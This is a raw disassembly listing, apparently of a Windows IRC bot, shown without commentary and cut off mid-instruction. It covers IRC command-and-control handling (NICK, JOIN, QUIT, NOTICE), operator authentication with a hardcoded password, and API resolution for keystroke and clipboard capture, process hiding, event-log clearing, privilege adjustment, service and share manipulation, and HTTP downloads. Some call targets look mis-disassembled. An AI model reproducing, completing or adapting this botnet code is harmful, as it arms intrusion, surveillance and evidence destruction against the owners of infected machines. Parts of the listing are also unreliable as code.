--------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_4296E8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B460 push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C pop ecx pop ecx push 1F4h nop call near ptr 2660000h push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call dword_4CB00C push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEC4[eax] call near ptr 26706DCh nop push esi call sub_41B779 imul eax, 234h push esi mov dword_43DEC4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43DCB0[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_4296BC jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_429694 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_429670 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429644 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_429DB0 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429628 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_429D14 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429604 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_4295E0 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_4295BC jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429598 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax nop call near ptr 2660000h loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429570 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_42954C loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42CA30 ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CAE2C push ebx inc esi call sub_41C0F4 push offset asc_429548 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294C8 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_429160 loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_429474 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429454 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429434 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CAE24, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h nop call near ptr 2660000h locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB020, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CAF94, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CAF78, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CAE88, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CAE34, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CAE64, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CAEDC, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CAFD4, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB030, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CAE94, eax call esi cmp dword_4CB020, ebx mov dword_4CAE7C, eax jz short loc_409C10 cmp dword_4CAF94, ebx jz short loc_409C10 cmp dword_4CAF78, ebx jz short loc_409C10 cmp dword_4CAE88, ebx jz short loc_409C10 cmp dword_4CAE64, ebx jz short loc_409C10 cmp dword_4CAEDC, ebx jz short loc_409C10 cmp dword_4CAFD4, ebx jz short loc_409C10 cmp dword_4CB030, ebx jz short loc_409C10 cmp dword_4CAE94, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB034, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CAFAC, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj nop call near ptr 2660882h mov dword_4CB038, eax mov dword_4CB034, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" call near ptr 2680C1Dh nop mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CAFD0, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CAF80, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CAF14, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB024, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CAF44, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CAF64, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CAFC8, eax call esi cmp dword_4CAFD0, ebx mov dword_4CAEB4, eax jz short loc_409D00 cmp dword_4CAF80, ebx jz short loc_409D00 cmp dword_4CAF14, ebx jz short loc_409D00 cmp dword_4CB024, ebx jz short loc_409D00 cmp dword_4CAF44, ebx jz short loc_409D00 cmp dword_4CAF64, ebx jz short loc_409D00 cmp dword_4CAFC8, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB03C, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CAF40, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CAE48, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CAF10, eax call esi cmp dword_4CAF40, ebx mov dword_4CAEF8, eax jz short loc_409D67 cmp dword_4CAE48, ebx jz short loc_409D67 cmp dword_4CAF10, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j call near ptr 2660882h nop mov dword_4CB040, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB03C, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CAFE4, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CAF28, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CAF98, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CAE74, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CAED8, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CAF50, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CAEF4, eax call esi cmp dword_4CAFE4, ebx mov dword_4CAF04, eax jz short loc_409E1A cmp dword_4CAF28, ebx jz short loc_409E1A cmp dword_4CAF98, ebx jz short loc_409E1A cmp dword_4CAE74, ebx jz short loc_409E1A cmp dword_4CAED8, ebx jz short loc_409E1A cmp dword_4CAF50, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB044, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CAF58, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CAF30, eax call esi cmp dword_4CAF58, ebx mov dword_4CAFE0, eax jz short loc_409E5F cmp dword_4CAF30, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB044, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CAF68, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CAE50, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CAE58, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CAEBC, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CAEC0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CAE6C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CAF34, eax call esi cmp dword_4CAF68, ebx mov dword_4CAE5C, eax jz short loc_409F0D cmp dword_4CAE50, ebx jz short loc_409F0D cmp dword_4CAE58, ebx jz short loc_409F0D cmp dword_4CAEBC, ebx jz short loc_409F0D cmp dword_4CAEC0, ebx jz short loc_409F0D cmp dword_4CAE6C, ebx jz short loc_409F0D cmp dword_4CAF34, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB044, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CAE54, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj nop call near ptr 2660882h mov dword_4CB048, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB044, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CAF60, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CAFB8, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CAFC0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CAF7C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CAE98, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CAE44, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CAFBC, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CAE30, eax call esi cmp dword_4CAF60, ebx mov dword_4CAED0, eax jz short loc_40A016 cmp dword_4CAFB8, ebx jz short loc_40A016 cmp dword_4CAFC0, ebx jz short loc_40A016 cmp dword_4CAF7C, ebx jz short loc_40A016 cmp dword_4CAE98, ebx jz short loc_40A016 cmp dword_4CAE44, ebx jz short loc_40A016 cmp dword_4CAFBC, ebx jz short loc_40A016 cmp dword_4CAE30, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j nop call near ptr 2660882h mov dword_4CB050, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB04C, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CAEE4, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB018, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CAE84, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CAE60, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CAF20, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CAF08, eax call esi push offset aSocket ; "socket" push edi mov dword_4CAECC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CAFF4, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB010, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CAF1C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB000, eax call esi push offset aHtons ; "htons" push edi mov dword_4CAFB4, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CAF74, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CAF70, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CAEA4, eax call esi push offset aSend ; "send" push edi mov dword_4CAE9C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CAFC4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CAFD8, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CAF8C, eax call esi mov dword_4CAF4C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CAFA0, eax call esi push offset aListen ; "listen" push edi mov dword_4CAF5C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CAF9C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB008, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CAF54, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CAF18, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CAF88, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CAFF8, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CAF2C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CAEC8, eax call esi cmp dword_4CAEE4, ebx mov dword_4CB00C, eax jz loc_40A2E7 cmp dword_4CB018, ebx jz loc_40A2E7 cmp dword_4CAE84, ebx jz loc_40A2E7 cmp dword_4CAF20, ebx jz loc_40A2E7 cmp dword_4CAF08, ebx jz loc_40A2E7 cmp dword_4CAECC, ebx jz loc_40A2E7 cmp dword_4CAFF4, ebx jz loc_40A2E7 cmp dword_4CB010, ebx jz loc_40A2E7 cmp dword_4CAF1C, ebx jz loc_40A2E7 cmp dword_4CB000, ebx jz loc_40A2E7 cmp dword_4CAFB4, ebx jz loc_40A2E7 cmp dword_4CAF74, ebx jz loc_40A2E7 cmp dword_4CAF70, ebx jz loc_40A2E7 cmp dword_4CAEA4, ebx jz short loc_40A2E7 cmp dword_4CAFC4, ebx jz short loc_40A2E7 cmp dword_4CAFD8, ebx jz short loc_40A2E7 cmp dword_4CAF8C, ebx jz short loc_40A2E7 cmp dword_4CAF4C, ebx jz short loc_40A2E7 cmp dword_4CAFA0, ebx jz short loc_40A2E7 cmp dword_4CAF5C, ebx jz short loc_40A2E7 cmp dword_4CAF9C, ebx jz short loc_40A2E7 cmp dword_4CB008, ebx jz short loc_40A2E7 cmp dword_4CAF54, ebx jz short loc_40A2E7 cmp dword_4CAF18, ebx jz short loc_40A2E7 cmp dword_4CAF88, ebx jz short loc_40A2E7 cmp dword_4CAFF8, ebx jz short loc_40A2E7 cmp dword_4CAF2C, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj nop call near ptr 2660882h mov dword_4CB058, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB054, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CAEB0, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CAE38, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CAF3C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CAEE8, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CAF48, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CAF0C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CAE78, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CAE70, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CAE80, eax call esi cmp dword_4CAEB0, ebx mov ecx, dword_4CAF0C mov dword_4CAFA8, eax jz short loc_40A3D2 cmp dword_4CAE38, ebx jz short loc_40A3D2 cmp dword_4CAF3C, ebx jz short loc_40A3D2 cmp dword_4CAEE8, ebx jz short loc_40A3D2 cmp dword_4CAF48, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CAE78, ebx jz short loc_40A3D2 cmp dword_4CAE70, ebx jz short loc_40A3D2 cmp dword_4CAE80, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB05C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CAF24, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj call near ptr 2660882h nop mov dword_4CB060, eax mov dword_4CB05C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CAF24, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CAEFC, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB02C, eax call esi cmp dword_4CAEFC, ebx mov dword_4CAE8C, eax jz short loc_40A466 cmp dword_4CB02C, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj nop call near ptr 2660882h mov dword_4CB068, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB064, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CAE68, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CAE40, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CAEB8, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CAEEC, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB004, eax call esi push offset aNetuseradd ; 